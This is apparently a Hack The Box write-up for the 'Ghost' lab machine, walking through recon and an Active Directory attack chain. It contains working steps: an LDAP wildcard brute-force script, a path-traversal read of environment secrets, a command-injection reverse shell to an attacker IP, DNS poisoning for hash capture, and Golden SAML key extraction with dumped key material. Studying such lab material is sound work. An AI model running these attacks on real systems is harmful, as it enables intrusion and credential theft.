Recon
Scanning
Nmap scan result is long as normal for a Windows machine. So I extract vital information as follow:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-14 01:35:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
|_Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info:
| 10.129.87.139:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.87.139:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-07-14T01:37:05+00:00; -1d00h00m10s from scanner time.
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
|_ DNS_Tree_Name: ghost.htb
8008/tcp open http nginx 1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
|_http-title: Ghost
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| ssl-cert: Subject: commonName=core.ghost.htb
|_Subject Alternative Name: DNS:core.ghost.htb
For domain services:
- 53/tcp (DNS - Simple DNS Plus)
- 88/tcp (Kerberos)
- 135/tcp (MSRPC)
- 389/tcp, 636/tcp, 3268/tcp, 3269/tcp (LDAP/SSL-LDAP)
- 445/tcp (SMB)
- 464/tcp (Kerberos kpasswd)
- 593/tcp (RPC over HTTP)
- 1433/tcp (Microsoft SQL Server)
- 3389/tcp (RDP)
For Web Services:
- 80/tcp (HTTP)
- 443/tcp (HTTPS)
- 8008/tcp (HTTP, nginx, Ghost CMS)
- 8443/tcp (HTTPS, nginx, Ghost Core)
Port 8008 | Ghost CMS
Port 80 & 443 for http://ghost.htb response 404 error. But we can access port 8008 for a basic understanding that it hosts a blog server on this machine:

Ghost CMS is a modern, open-source content management system (CMS) designed primarily for blogging (Nmap result indicates this is the 5.78
version):
- Node.js Backend: Ghost is built on Node.js, which provides a fast and efficient backend.
- Headless CMS: It can function as a headless CMS, providing content via API for use in various front-end applications.
- User Roles and Permissions: Supports multiple user roles with fine-grained permissions for collaborative blogging.
For the Ghost CMS, there are typical directories and endpoints that are often present by default:
- Admin Panel:
/ghost/
- The admin login page./ghost/#/signin
- Direct link to the sign-in page.
- Content and Static Files:
/content/images/
- Default directory for uploaded images./content/themes/
- Directory for installed themes./content/
- Base directory for content, themes, and images.
- API Endpoints:
/ghost/api/v3/
- API endpoint for Ghost CMS v3./ghost/api/v4/
- API endpoint for Ghost CMS v4./ghost/api/v4/content/
- Public content API endpoint./ghost/api/v4/admin/
- Admin API endpoint.
- Configuration and Backup Files:
/config.production.json
- Configuration file for the production environment (should not be publicly accessible)./config.development.json
- Configuration file for the development environment./ghost/api/v3/admin/db/
- Potentially accessible database endpoint for backup and restore operations.
Inspect its source code we can discover a JavaScript endpoint:
<script src="/assets/built/source.js?v=f335afc3d4"></script>
We use Gobuster for more Dir enumeration anyway, while the server is returning a 301 status code (Moved Permanently) for non-existing URLs. They try to prevent directory enumeration because increases difficulty to distinguish between existing and non-existing paths. But we can use this command:
gobuster dir -u "http://ghost.htb:8008" -t 50 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -s "200,204,302,307,401,403" -f -b ""
-s "..."
: Specifies the status codes to include.-b ""
: Disables the default status code blacklist (which includes 404).-f
: Follow redirects.

Not much information there except the default /ghost
path, which redirects us back to the login page:

Thus let's go for some subdomain enumeration:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u "http://ghost.htb:8008" -H "HOST:FUZZ.ghost.htb" -c -fs 7676

http://gitea.ghost.htb:8008/ is a private Git repository. Search it out a bit, we found two users gitea_temp_principal and cassandra.shelton, but no extra information

http://intranet.ghost.htb:8008/login is an internal login entrance, which also requires credentials (username:secret) to get in:

Port 8443 | AD Federation
Further, on https://core.ghost.htb:8443/login the Ghost Core refers to the core functionality of the Ghost CMS platform. It encompasses the primary features and components that make up the Ghost blogging platform, including content management, user authentication, and administrative interfaces:

We see AD Federation which indicates that the site is using Active Directory Federation Services (AD FS) for authentication. AD FS is a single sign-on (SSO) solution developed by Microsoft, allowing users to log in using their Active Directory credentials.
The login button redirects us to a new subdomain https://federation.ghost.htb, which https://federation.ghost.htb/adfs/ls/ is the endpoint for the AD FS login service:

To the URL with paths & parameters as follow:
https://federation.ghost.htb/adfs/ls/?SAMLRequest=nVPBcpswEP0VRneDADW2NcYZBx%2FqmTRlbJpDLhlZLDEzIFHtkjh%2F3wGbxofWB1%2F1dt%2B%2Bffu0uD82tfcODitrEhb6nN0vF6iaupWrjg5mC787QPKOTW1QDkDCOmekVVihNKoBlKTlbvXjUUY%2Bl62zZLWtmbdZJ%2By1VJEOhYD5XczDu1IAD2ffiimfCohnsI%2Bn4VxEYayY9zyKiHzOvA1iBxuDpAwlLOKRmPDpJBQ5j2UYSjH3BY9fmJedxz1UpqjM23Vt%2B1MRyu95nk2yn7uceWtAqoyiYfSBqEUZBCUU4IY3%2F%2B1gkfwD7QNVlBjUGDBvhQiuR1NrsGvA7cC9Vxp%2BbR%2B%2FOLR18NUtZ0LEJ4rexKC1SFvA1hoEdnJcDju7C6uvb6NGFWx5ZeYiuOAeT%2FukGtisM1tX%2BvOW067q2n6kDhRBwsh1wIKR%2BhwYKIb4pNYQHG%2BKT2qbVrkK%2B7vAUWkabbokTmuFuIXyFtOulmmpe2pAmSnED%2BuKPmmgCYrcKYOtdXS29l96lifsP3b8RS%2B%2F2PIP&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=cOLueJq9xTxGOwPQOQytoEC6nvkDMPk165R42il3t18sCpmpjX7AQ2rcF4ZbChCNI7KqSuSO2S53pnvTw9ri3ROnox6XC9mcwdniHHVJHqpp2sJQZ7XxiK1%2FtinddOJxZpvfALYb%2B5xsPrhZxcBQmMsjLOHUAobadJqX4F83ZIDx5mTG8EPj3Mu0dWvz80jyv7%2BRO%2B2r2F63aHL9gdJ3lbs90NXIONoR%2F6d0al46RfS1psbAdxePJAfuKE4JbgG3VcVMxx5NwIg8j7ciR4MOvOocxWlVsGKPrWSqiWIg0cVSyn1uzuWyKdV5t8j8Duzw0Pr3I%2FZjIU9RZWPVrFivSw%3D%3D
It indicates that the login process involves SAML (Security Assertion Markup Language) authentication through Active Directory Federation Services (AD FS). From above URL we can extract its request paramteres:
SAMLRequest
: Contains the SAML authentication request. It is typically a Base64-encoded XML document that includes the details of the authentication request.SigAlg
: Specifies the signature algorithm used to sign the SAML request. In this case, it is RSA-SHA256.Signature
: The digital signature of the SAML request, ensuring its integrity and authenticity.
Port 1433 | MSSQL
It exposes MSSQL port which could be a potential attack surface, that we can try to exploit it with Impacket later:
mssqlclient.py -windows-auth DOMAIN/username:password@target_IP
Docker | Webroot
LDAP Wildcard Search
Test http://intranet.ghost.htb:8008, which is the login page for internal network, we can discover that it sends a POST request with multipart/form-data:

From the names of parameters, apparently the backend server compares our input with the data on the LDAP server, which means it could support wildcard search (*
) or other LDAP injection payloads if the server does not have proper sanitization.
Test with the wildcard (*
), surprisingly bypass the authentication, with a valid token which seems to be a JWT:

And we can immediately access the intranet, with the identify of Kathryn Holland as the sysadmin:

We can check the Users menu on the intranet, with their roles identified:

Grep the usernames and test them via Kerbrute:
kerbrute userenum -d ghost.htb --dc DC01.ghost.htb -t 10 -v users.txt

The News menu suggests us to login as the user gitea_temp_principal to the Gitea repository. With the wildcard vulnerability, we can use a python script to brute force the password that matches username gitea_temp_principal in the login panel:
import string
import requests
from pwn import *
url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept-Language': 'en-US,en;q=0.5',
'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
# Formdata
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, 's*'),
'0': (None, '[{},"$K1"]')
}
password = ""
while True:
for char in string.ascii_lowercase + string.digits:
bar.status(f"trying {char} now for the next character...")
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, f'{password}{char}*'),
'0': (None, '[{},"$K1"]')
}
res = requests.post(url, headers=headers, files=files)
if res.status_code == 303:
password += char
print(f"The current password is {password} + *")
break
else:
break
bar.success(f"The final password is {password}")
Run the script, and we will get the password user gitea_temp_principal. With the credentials, we can now sign in http://gitea.ghost.htb.

LFI | Ghost Blog
We will see 2 repositories which we cannot access before, the projects for the Blog & Intranet.

From the introduction of the project Ghost Blog:
- The blog uses Ghost CMS, running inside a Docker container.
- The blog is integrating with an intranet, and some features require an API key named
DEV_INTRANET_KEY
, stored as an environment variable. - This key is shared between the intranet and the blog, suggesting that if we can obtain this key, it might provide access to intranet functionalities.
- The public API key for Ghost is provided:
a5af628828958c976a3b6cc81a
.
Also, it mentions that a specific file, posts-public.js
, has been modified to add new features. By reviewing the source code, we can identify a Local File Inclusion (LFI) vulnerability for the extra
parameter:
async query(frame) {
const options = {
...frame.options,
mongoTransformer: rejectPrivateFieldsTransformer
};
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
}
The extra
parameter is not properly sanitized, so we can traverse directories and read files outside of the intended directory (/var/lib/ghost/extra/
), with a payload like ../../../etc/passwd
.
Therefore, we can access the post endpoint to test. According to Ghost official documentation, which indicates that our traverse path could be:
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../etc/passwd&key=API_KEY"
We can use the public API key provided above in the Readme, test how much ../
we need to identify the directory position of the file system:
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../etc/passwd&key=a5af628828958c976a3b6cc81a"

Once the POC works, we can now extract information we care about. Although it's a windows machine externally, now we know that it's running a Linux container as the server of the Blog. Since it mentions "API key named DEV_INTRANET_KEY
stored as an environment variable", we can then check the /proc/self/environ
path for the file system:
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a" | jq
Using jq
to beautify the JSON data output:

We got the DEV_INTRANET_KEY=!@yqr!▒▒▒▒▒▒▒▒
, which will be used for some features in the intranet like scanning as it mentioned.
Command Injection | Intranet
Take a look at another Gitea repository, the Readme tells us that the dev API at http://intranet.ghost.htb/api-dev will be exposed until development is done, which are added some new features to integrate the blog and the intranet.
As it already mentioned a lot that there's an scanning feature under development, so we can review the codes under the path intranet/backend/src/api/dev/scan.rs
:
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}
- The
ScanRequest
struct represents the incoming JSON request, which includes aurl
field. - The
ScanResponse
struct represents the JSON response, including fields for the safety check result and the command execution output. - The
key
extracts valueX-DEV-INTRANET-KEY
from the request header, then compares it to the environment variable on the target machine, which we retrieved in last step. - The
scan
function builds a shell command usingbash -c
to runintranet_url_check
with the provided URL. - The command is constructed with
format!("intranet_url_check {}", data.url)
, which directly embeds theurl
parameter into the shell command without sanitization.
Therefore, If the url
parameter contains shell metacharacters, it can inject arbitrary commands. We can test the vulnerability by sending a POST request to the endpoint mentioned in the Readme:
curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://4xura.com; whoami"}' | jq

It looks like we have a web root user at the back end. Now we can prepare our reverse shell payload for the container Linux machine.
However, it seems the machine does not have bash
command, we can try sh
instead:
curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://4xura.com; sh -i >& /dev/tcp/10.10.16.2/4444 0>&1"}' | jq
We now own the web root user:

GHOST | Florence.Ramirez
Patch is implemented to remove plain-text password in the
docker-entrypoint.sh
. Instead, we can found a Kerberos ticket in/tmp/krb5cc_50
, which allows us to request a new TGS to perform the same goal depicted below.
As the root user inside the container, we can read or write any files. Enumerate files inside it, there's a docker-entrypoint.sh
locates at the root folder, which always indicates how the container was being setup:

It sets up SSH configurations, attempts to establish an SSH connection, and then executes the intranet program, with the credentials of user florence.ramirez.
Therefore, we can pivot to this user:
ssh [email protected]@dev-workstation

We don't find any flags under this machine. But the password seems personal, so we can try her credentials for password reusing.
Use Crackmapexec to verify if the credentials works for the Windows machine:
crackmapexec smb ghost.htb -u florence.ramirez -p 'uxLmt▒▒▒▒▒▒▒▒'

Indicate she's a domain user. Although we cannot remote log on with her credentials, but we can use Bloodhound.py to gather domain information remotely.
First we run DNSchef to create a fake nameserver that hijacks every query to the target machine's ip:
python3 dnschef.py --fakeip=${ip} --interface=127.0.0.1

Then we can run Bloodhound-python and set -ns
to our local host:
bloodhound-python -d ghost.htb -c All -ns 127.0.0.1 --zip -u florence.ramirez -p 'uxLmt▒▒▒▒▒▒▒▒' --use-ldap
From the result, we can tell Florence belongs to group IT, which seems to be useless. But she belongs to Domain Users > Authenticated Users > PRE-WINDOWS 2000 COMPATIBLE, which provides her read access on all users and groups in the domain:

So when we take a look at Map Domain Trust, we discover 2 domains GHOST.HTB & CORP.GHOST.HTB, who trust each other:

- Bidirectional Trust:
- The arrows indicate that there is a bidirectional trust relationship between
GHOST.HTB
andCORP.GHOST.HTB
. This means that both domains trust each other, allowing for authentication requests to be honored in both directions.
- The arrows indicate that there is a bidirectional trust relationship between
- Trust Pathways:
- The "TrustedBy" labels on the connecting lines indicate the direction of trust. Since the lines go both ways between the domains, it confirms that users from
GHOST.HTB
can access resources inCORP.GHOST.HTB
and vice versa.
- The "TrustedBy" labels on the connecting lines indicate the direction of trust. Since the lines go both ways between the domains, it confirms that users from
With these relationship, usually we consider:
- Inter-Domain Attacks:
- Because of the bidirectional trust relationship, compromising an account in one domain (
GHOST.HTB
) may allow an attacker to move laterally and access resources in the other domain (CORP.GHOST.HTB
). This is significant for expanding our attack surface.
- Because of the bidirectional trust relationship, compromising an account in one domain (
- Access to Resources:
- Trusted domains often allow users from the trusted domain to access resources such as files, printers, and possibly even elevated privileges if the trust relationship is not tightly controlled.
- Privilege Escalation Pathways:
- If an attacker can compromise a lower-privileged user in one domain, they may be able to escalate their privileges in the trusted domain.
- Service Accounts and Cross-Domain Policies:
- Service accounts often have permissions across trusted domains. Compromising such accounts can lead to significant leverage points for an attacker.
We can also use PowerView for Trust Relationship Enumeration:
Get-DomainTrust -Domain GHOST.HTB
Get-DomainTrust -Domain CORP.GHOST.HTB
And we can discover the domain user ADFS_GMSA$ could potentially own DCSync on GHOST.HTB, which could possibly further exploit on CORP.GHOST.HTB:

GHOST | Justin.Bradley
ADIDNS poisoning
If we take a look into the intranet (http://intranet.ghost.htb:8008), we will see there is some discussion in the forum. New subdomain http://bitbucket.ghost.htb mentioned, and kathryn.holland (sysadmin of intranet) told another user justin.bradley that the DNS of the domain (GHOST.HTB) is not configured. So I think it could be a hint for us to try hijacking DNS record:

And the user justin.bradley keeps trying his script towards the subdomain 'bitbucket.ghost.htb'. Once we hijack this subdomain pointing to our attacker IP, then we may be able to intercept and capture the traffic from justin.bradley, including NTLM hashes or kerberous credentials. And you may remember, he belongs to not only group IP as others, but also group Remote Management Users, who will be able to remote logon our target machine.

In order to function properly, Active Directory services need DNS. In that matter, Active Directory Domain Services (AD-DS) offer an integrated storage and replication service for DNS records. This is called Active Directory Integrated DNS (ADIDNS).
Therefore, Just like any other domain name resolution spoofing attack, our task here is to add a DNS record for 'bitbucket.ghost.htb' pointing to our IP as user florence.ramirez. We can use the tool dnstool.py created by dirkjanm on Github:
python3 dnstool.py -u GHOST.HTB\\florence.ramirez -p 'uxLmt*udN▒▒▒▒▒▒' GHOST.HTB -r bitbucket.ghost.htb -a add -d 10.10.16.2 -dns-ip $ip

Set up Responder, we will then capture the NTLM hash for justin.bradley:

Run Hashcat with mode 5600, we get the password for user justin.bradley:

As we talked above, he's a member of group Remote Management User, so use Evil-winrm to remote logon to the DC of GHOST.HTB, and take the user flag:

And we see he owns the right of creating machine accounts, which could be a great attack factor for future exploit.
ADFS | ADFS_GMSA$
ReadGMSAPassword
According the login format instructed on https://core.ghost.htb:8443, using [email protected] as username and her password, we are able to log in the ADFS (Active Directory Federation Services). But it redirects to the unauthorized page telling us it currently is only available for Administrator, not for us florence.ramire. But good news is that, it seems we can at least use domain passwords to log in ADFS:

As we now have a new & privileged account justin.bradley, we can run BloodHound for more domain information (with AV activated we need to run bloodhound-python remotely as we did before):

User justin.bradley is member has ReadGMSAPassword privilege over the ADFS_GMSA$ account. I have introduced the exploitation on this Privilege in the Mist writeup, so we will skip the introduction here. This permission allows us to retrieve the managed password of the gMSA.
Use Crackmapexec to read the GMSA password:
crackmapexec ldap ${ip} -u justin.bradley -p 'Qwerty▒▒▒▒▒▒▒▒' --gmsa

ADFS_GMSA$ belongs to group Domain Computers & Remote Management User:

And this account has AddKeyCredentialLink towards group Key Admins & Enterprise Key Admin:

This permission allows us to manage key credential links for above two groups. Key Credential Links are used in Microsoft environments to bind a public key to a user or computer object in AD, facilitating scenarios like certificate auto-enrollment or more modern authentication methods that do not rely on traditional passwords.

Let's look up the information of group Key Admins in the victim machine using Get-ADGroup -Identity 'Key Admins' -Properties *
:

- "Members of this group can perform administrative actions on key objects within the domain."
- SID:
S-1-5-21-4084500788-938703357-3654145966-526
- Members:
{}
(empty)
The description suggests that members of this group have elevated privileges related to key objects within the domain. This is typically used for managing sensitive objects or operations within the Active Directory.
But there's no member in this group (neither Enterprise Key Admins). We do remember the user justin.bradley owns the SeMachineAccountPrivilege
of creating machine accounts, using Impacket:
impacket-addcomputer -dc-ip ${ip} -method SAMR -computer-name AXURA$ -computer-pass 'StrongPassword123!' ghost.htb/justin.bradley:'Qwerty▒▒▒▒▒▒▒▒'

But we cannot add this account to group Key Admins.

Use Pywhisker to add key credentials to the target:
python3 pywhisker.py -d ghost.htb -u "ADFS_GMSA$" -H 4f4b81c5f6a9c1931310▒▒▒▒▒▒▒▒ -t "administrator" --action "add"
But we don't has privilege to do so.
This could just be a rabbit hole. I think the idea could be Relaying the NTLM from ADFS, since from the beginning, it gave us a hint that "Only Administrator is available", meaning the Administrator could be logged in and authenticated to the ADFS for address https://core.ghost.htb:8443.
Golden SAML Attack
Let's have a callback to our previous recon results, that we used to intercept the SAMLRequest to https://federation.ghost.htb/adfs/ls/ with three parameters of SAMLRequest
, SigAlg
, Signature
.
Relating to this information, we can try to perform the Golden SAML Attack, which enables an attacker to create a golden SAML. We can forged a SAML "authentication object" and authenticate across every service that uses SAML 2.0 protocol as an SSO mechanism. We can have a detailed report in this link.

In our case, we are dealing with Active Directory Federation Services (AD FS), which is a Microsoft standards-based domain service that allows the secure sharing of identity information between trusted business partners (federation). It is basically a service in a domain that provides domain user identities to other service providers within a federation.
Therefore, if we can access ADFS, we may be able to take advantage of this attack and practically gain any permissions for other services.
To perform this attack, we'll need the private key that signs the SAML objects (similarly to the need for the KRBTGT in a golden ticket). For this private key, we don't need a domain admin access, we only need the AD FS user account, which is ADFS_GMSA$ we just take down. This article has introduced steps we need to go through for a Golden SAML Attack.
For a Golden SAML attack, we need to first compromise the AD FS service account (ADFS_GMSA$). Then we can use tools such as ADFSDump to extract the required information:
- The token signing certificate and its private key
- The Distributed Key Manager (DKM) key from Active Directory
- The list of services for which the AD FS server is configured to be an identity provider
Download from Github and compile ADFSDump, Remote logon the domain GHOST.HTB with ADFS_GMSA$ account and its hash (as we already discussed that it belongs to group Remote Management User)
evil-winrm -i ghost.htb -u "ADFS_GMSA$" -H 4f4b81c5f6a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Upload and run ADFSDump.exe
to connect locally to the AD FS database to extract the EncryptedPFX element of the Token Signing service settings, and also connects to Active Directory to export the DKM key (the Private Key below):

The DKM (Distributed Key Management) key is a component used within Active Directory Federation Services (ADFS) for encrypting and decrypting sensitive data, which is crucial for securing the data stored in the ADFS configuration database.
Private Key (DKM) Extraction: We extracted two private keys from the Active Directory store, which are critical for the security of the ADFS environment.
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
Encrypted Token Signing Key: Reads the encrypted token signing key from the ADFS database, which is used to sign SAML tokens to ensure their integrity and authenticity.
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR+z1tYd4m8JhBr3XDSURrJzmnIDMQH8pol+wGqKIGh4xl9BgNPLpNqyT56/59TC7XtWUnCYybr7nd9XhAbOAGH/Am4VMlBTZZK8dbnAmwirE2fhcvfZw+ERPjnrVLEpSDId8rgIu6lCWzaKdbvdKDPDxQcJuT/TAoYFZL9OyKsC6GFuuNN1FHgLSzJThd8FjUMTMoGZq3Cl7HlxZwUDzMv3mS6RaXZaY/zxFVQwBYquxnC0z71vxEpixrGg3vEs7ADQynEbJtgsy8EceDMtw6mxgsGloUhS5ar6ZUE3Qb/DlvmZtSKPaT4ft/x4MZzxNXRNEtS+D/bgwWBeo3dh85LgKcfjTziAXH8DeTN1Vx7WIyT5v50dPJXJOsHfBPzvr1lgwtm6KE/tZALjatkiqAMUDeGG0hOmoF9dGO7h2FhMqIdz4UjMay3Wq0WhcowntSPPQMYVJEyvzhqu8A0rnj/FC/IRB2omJirdfsserN+WmydVlQqvcdhV1jwMmOtG2vm6JpfChaWt2ou59U2MMHiiu8TzGY1uPfEyeuyAr51EKzqrgIEaJIzV1BHKm1p+xAts0F5LkOdK4qKojXQNxiacLd5ADTNamiIcRPI8AVCIyoVOIDpICfei1NTkbWTEX/IiVTxUO1QCE4EyTz/WOXw3rSZA546wsl6QORSUGzdAToI64tapkbvYpbNSIuLdHqGplvaYSGS2Iomtm48YWdGO5ec4KjjAWamsCwVEbbVwr9eZ8N48gfcGMq13ZgnCd43LCLXlBfdWonmgOoYmlqeFXzY5OZAK77YvXlGL94opCoIlRdKMhB02Ktt+rakCxxWEFmdNiLUS+SdRDcGSHrXMaBc3AXeTBq09tPLxpMQmiJidiNC4qjPvZhxouPRxMz75OWL2Lv1zwGDWjnTAm8TKafTcfWsIO0n3aUlDDE4tVURDrEsoI10rBApTM/2RK6oTUUG25wEmsIL9Ru7AHRMYqKSr9uRqhIpVhWoQJlSCAoh+Iq2nf26sBAev2Hrd84RBdoFHIbe7vpotHNCZ/pE0s0QvpMUU46HPy3NG9sR/OI2lxxZDKiSNdXQyQ5vWcf/UpXuDL8Kh0pW/bjjfbWqMDyi77AjBdXUce6Bg+LN32ikxy2pP35n1zNOy9vBCOY5WXzaf0e+PU1woRkUPrzQFjX1nE7HgjskmA4KX5JGPwBudwxqzHaSUfEIM6NLhbyVpCKGqoiGF6Jx1uihzvB98nDM9qDTwinlGyB4MTCgDaudLi0a4aQoINcRvBgs84fW+XDj7KVkH65QO7TxkUDSu3ADENQjDNPoPm0uCJprlpWeI9+EbsVy27fe0ZTG03lA5M7xmi4MyCR9R9UPz8/YBTOWmK32qm95nRct0vMYNSNQB4V/u3oIZq46J9FDtnDX1NYg9/kCADCwD/UiTfNYOruYGmWa3ziaviKJnAWmsDWGxP8l35nZ6SogqvG51K85ONdimS3FGktrV1pIXM6/bbqKhWrogQC7lJbXsrWCzrtHEoOz2KTqw93P0WjPE3dRRjT1S9KPsYvLYvyqNhxEgZirxgccP6cM0N0ZUfaEJtP21sXlq4P1Q24bgluZFG1XbDA8tDbCWvRY1qD3CNYCnYeqD4e7rgxRyrmVFzkXEFrIAkkq1g8MEYhCOn3M3lfHi1L6de98AJ9nMqAAD7gulvvZpdxeGkl3xQ+jeQGu8mDHp7PZPY+uKf5w87J6l48rhOk1Aq+OkjJRIQaFMeOFJnSi1mqHXjPZIqXPWGXKxTW7P+zF8yXTk5o0mHETsYQErFjU40TObPK1mn2DpPRbCjszpBdA3Bx2zVlfo3rhPVUJv2vNUoEX1B0n+BE2DoEI0TeZHM/gS4dZLfV/+q8vTQPnGFhpvU5mWnlAqrn71VSb+BarPGoTNjHJqRsAp7lh0zxVxz9J4xWfX5HPZ9qztF1mGPyGr/8uYnOMdd+4ndeKyxIOfl4fce91CoYkSsM95ZwsEcRPuf5gvHdqSi1rYdCrecO+RChoMwvLO8+MTEBPUNQ8YVcQyecxjaZtYtK+GZqyQUaNyef4V6tcjreFQF93oqDqvm5CJpmBcomVmIrKu8X7TRdmSuz9LhjiYXM+RHhNi6v8Y2rHfQRspKM4rDyfdqu1D+jNuRMyLc/X573GkMcBTiisY1R+8k2O46jOMxZG5NtoL2FETir85KBjM9Jg+2nlHgAiCBLmwbxOkPiIW3J120gLkIo9MF2kXWBbSy6BqNu9dPqOjSAaEoH+Jzm4KkeLrJVqLGzx0SAm3KHKfBPPECqj+AVBCVDNFk6fDWAGEN+LI/I61IEOXIdK1HwVBBNj9LP83KMW+DYdJaR+aONjWZIoYXKjvS8iGET5vx8omuZ3Rqj9nTRBbyQdT9dVXKqHzsK5EqU1W1hko3b9sNIVLnZGIzCaJkAEh293vPMi2bBzxiBNTvOsyTM0Evin2Q/v8Bp8Xcxv/JZQmjkZsLzKZbAkcwUf7+/ilxPDFVddTt+TcdVP0Aj8Wnxkd9vUP0Tbar6iHndHfvnsHVmoEcFy1cb1mBH9kGkHBu